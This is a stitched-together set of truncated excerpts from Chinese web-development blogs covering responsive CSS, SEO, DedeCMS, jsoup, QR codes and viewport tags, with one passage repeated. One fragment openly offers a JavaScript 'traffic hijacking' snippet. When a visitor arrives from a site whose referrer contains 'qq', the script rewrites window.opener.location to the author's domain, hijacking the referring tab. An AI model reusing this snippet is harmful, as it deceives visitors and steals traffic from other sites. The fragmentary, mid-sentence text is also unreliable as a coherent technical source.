不同分辨率设备或不同窗口大小下网页布局经常是不同的,一不小心就会发生错位.可以利用@media screen实现网页布局的自适应,但是怎样兼容所有主流设备就成了问题.到底分辨率是多少的时候设置呢?首先看下面的代码,这是从bootstrap中遍历出来的,min-width来确认分别是768.992.1200.当然了过去也有些设备宽度是600.480的,那些小分辨率的我们都归类为小于767的.为什么是小于767而不是768呢,那是因为在css中@media (min-width: 768px)表示最

转自 http://my.oschina.net/cart/blog/282477 做前端开发不短了,用过jQuery Mobile jqMobi 也纯手工写过.. 最后总结如下: jQuery Mobile:适合大而全,兼容性高,功能全,但是文件大,略显臃肿..如果你是网页版.手机版共用jquery库等 适合使用jQuery Mobile. jqMobi:适合单独就是手机版的站,体积小,速度快,但是兼容性没有jQuery Mobile好,功能没有jQuery Mobile全,但是一般也够用啦.

数据库优化是PHP面试几乎都会被问到的事情,也是我们工作中应该注意的事情,当然,如果是小网站无所谓优化不优化,网站访问量大了自然会暴漏数据库的瓶颈,这个瓶颈是各方面问题综合导致的,下面我们来做下数据库优化的总结. 一:对数据库优化 1.创建索引 对于查询占主要的应用来说,索引显得尤为重要.很多时候性能问题很简单的就是因为我们忘了添加索引而造成的,或者说没有添加更为有效的索引导致.如果不加索引的话,那么查找任何哪怕只是一条特定的数据都会进行一次全表扫描,如果一张表的数据量很大而符合条件的结果又很少

下面是一个特产网站自适应CSS,这个特产自适应CSS通过屏幕宽度大小来进行适应的,而不是根据UA来判断,就加快了判断的速度,所以速度很快 中国特产站排名还是很好的,特别是手机端 li { list-style-type: none; } .header, .excerpt .cat, .now-page, .pagination span:hover, .pagination ul>li>a:focus { background-color: #C00; } .excerpt:hover {

/* ----------- iPhone 4 and 4S ----------- */ /* Portrait and Landscape */ @media only screen and (min-device-width: 320px) and (max-device-width: 480px) and (-webkit-min-device-pixel-ratio: 2) { } /* Portrait */ @media only screen and (min-device-wi

今天做了自己的个人网站:二飞日志 之前因为服务器的问题,因为备案的原因辛辛苦苦做的站点数据没了.还好的是没有多少数据.没关系,重新来.有了上一次的经验,这次搭建起来比较顺手.但是也出现了几个问题.下面我来阐述一下. 1.安装的时候出现了wp-config.php这个文件创建不了,下一步进行不了. 问题分析:我的是win2003的系统.用的是景安的网站管理器.可能权限问题,但是因为我想要快速创建出来.于是我做了如下的工作. 解决方法:造成创建不了是因为数据库没有创建,我复制了那个wp-config

Bootstrap 网格系统: Bootstrap CSS: Bootstrap 组件及插件: 一.什么是响应式布局?       响应式布局是Ethan Marcotte在2010年5月份提出的一个概念,简而言之,就是一个网站能够兼容多个终端--而不是为每个终端做一个特定的版本.       这个概念是为解决移动互联网浏览而诞生的.响应式布局可以为不同终端的用户提供更加舒适的界面和更好的用户体验,而且随着目前大屏幕移动设备的普及,用大势所趋来形容也不为过.  随着越来越多的设计师采用这个技术,

我们在玩任何一款手游产品时,都是先上来个logo界面,游戏欢迎界面等,这就意味着我们要做一款游戏需要多个场景,场景之间来回切换实现游戏逻辑,unity也不例外,所以从本篇开始将会介绍如何搭建多个场景,本篇先看游戏logo场景的制作,先上图: 再次用时空领地的logo了,这里的时空领地的logo是个动画,全部是用NGUI实现的,重点是做这个界面没用一句代码,除了点击切换场景. 之前那个游戏场景,我起名GameScene,然后我新建一个场景File->New Scene,起名BeginMenuSce

有时候给网站做流量,免不了要做一些网站劫持的JS跳转,这里贴上一段劫持来源网站的JS跳转方法,很简单 <script> // 获取来源网站 var slyar = document.referrer; if(slyar.indexOf("qq")>0)// 判断网站是否来自腾讯网 // 劫持源网址跳转(这个就是让腾讯网跳转到指定的网站) window.opener.location.href = "http://www.我的域名.com"; //

今日给合作公司讲解本公司网站SEO优化整理的一份简单文档 架构 ########################################## 1.尽量避免Javascript和flash导航. 虽然JS和FLASH能把网站做的绚丽漂亮,但目前搜索引擎还是无法顺利的抓取其中的内容,所以我们要避免. 2.目录层次不能太深. 网站目录尽量保持在三层以内,尽可能接近根网址,比如“www.xxx.com/产品目录/产品名称”明显比“www.xxx.com/产品目录/年份/月份/产品名称”要好. 3

做网站的时候经常会遇到做在线订单的这个功能,而且这个功能会在企业网站的建设中经常的遇到,今天51模板集就拿物流网的在线订单功能做一个详细的介绍. 第一步:自定义表单 打开后台:核心-->自定义表单->增加新的自定义表单 第二步:增加字段: 要是你用系统自带的页面,就单击前台预览的页面.这样就做好了在线下单的功能了. 但是要是要自定义界面的话,取单独的字段,那我们又改如何去做呢 首先获取dede_fieldshash的数值.怎么获取呢 ? 在前台预览的那个页面,右击查看源文件,找到dede_fi

jsoup是一个解析网页源码的开源库,他能按照给定的规则提取出一个网页中的任意元素,和其他网页解析库不同的是,他提取网页内容的方式和css.jquery的选择器非常相似.因此如果你懂得前端的知识,只需根据以下的代码样例就可以在3分钟之内学会jsoup的用法: 1 2 3 4 5             Document doc = Jsoup.connect(href).timeout(10000).get();              Element masthead = doc.selec

简述 今天上线了一个简单的 Page,没有什么功能就是一个展示页. 但是,我发现部署完,上线后,还要弄不少东西.下面就是我记录.整理的一些上线网站基本都会用到的网站和配置. 加入统计代码 这个是必做的,可以用来分析网站的流量和数据,下面两个网站二选一吧: 百度统计 谷歌分析 步骤就是:在你的网站的每个网页加入一段统计代码.根据提示几下就能完成了. 之后你就可以在选择的统计网站中的控制面板中,看到你的网站访问.流量来源等数据. sitemap.xml Sitemap 可方便网站管理员通知搜索引擎他

http://help.dedecms.com/install-use/server/2011/1109/2124.html#printSource http://www.aliweihu.com/998.html 第一步:精简程序 1. member文件夹:不需要会员功能请删除 2. special文件夹:不需要专题功能请删除 3. install文件夹:网站安装后,请删除 4. plus文件夹:保留view.php.list.php.count.php及文件夹 img 即可保证基础功能使用

简述 今天自己上线了一个简单的 Page,没有什么功能就是一个展示页. 但是,我发现部署完,上线后,还要弄不少东西.下面就是我记录.整理的一些上线网站基本都会用到的网站和配置. 加入统计代码 这个是必做的,可以用来分析网站的流量和数据,下面两个网站二选一吧: 百度统计 谷歌分析 步骤就是:在你的网站的每个网页加入一段统计代码.根据提示几下就能完成了. 之后你就可以在选择的统计网站中的控制面板中,看到你的网站访问.流量来源等数据. sitemap.xml Sitemap 可方便网站管理员通知搜索引

“百度快照变慢了.百度收录问题.关键词掉了”,这是在卢松松留言本被经常问及的问题,新手站长往往会因此吃不下饭.睡不着觉,网站的推广是一个漫长的过程,“心急吃不了热豆腐”,不要整天想着一建站就有巨大的流量.同样网站的SEO过程也是相当漫长的,我想这正是新手站长焦虑的原因所在. 为什么百度收录慢,Google收录快? Google对新站的收录时间很快,而百度的收录是最慢的,这是涉及搜索引擎算法了,属于核心机密,大多数站长没办法说清楚,我也只能猜测其原因. 首先了解一下搜索引擎的“沙盒”,沙盒就是暂时

$todoString="www.maomii.com"; generateQRfromGoogle($todoString); /** * google api 最多4296个字符 * @param string $str 二维码包含的信息,数据须经过UTF-8 URL-encoded.如果需要传递的信息超过2K个字节,请使用POST方式 * @param int $widhtHeight 生成二维码的尺寸设置 * @param string $EC_level 可选纠错级别,QR码

var phoneWidth = parseInt(window.screen.width); var phoneScale = phoneWidth/640; var userAgent = navigator.userAgent; var index = userAgent.indexOf("Android"); if(index >= 0){ var androidVersion = parseFloat(userAgent.slice(index+8)); if(andr

的html5相关meta和标签    a.<!-- 强制让文档与设备的宽度保持1:1 -->    <meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, user-scalable=no">    网页宽度默认等于屏幕宽度(width=device-width),    初始缩放比例(initi

webapp开发初期,会碰到在pc端开发好的页面在移动端显示过大的问题,这里需要在html head中加入meta标签来控制缩放 <meta name=" viewport" content="width=device-width initial-scale=1.0 minimum-scale=1.0 miximum=1.0 user-scalable=yes"/> 下面是对于这个标签的具体说明: viewport 语法介绍: <meta name

http://www.webkaka.com/blog/archives/how-to-modify-a-web-page-to-be-responsive.html 一天完成把PC网站改为自适应!原来这么简单! 作者:Kaka    时间:2015-8-27 11:26:9    浏览:5279    评论:8 网站自适应,很多人都认为是很高级需要很多时间去实现的东西,不愿意去把一个现成的网站改成自适应,宁愿单独另外做一个移动站.我之前觉得实现网站自适应,要设计很多套CSS,并且要结合jQue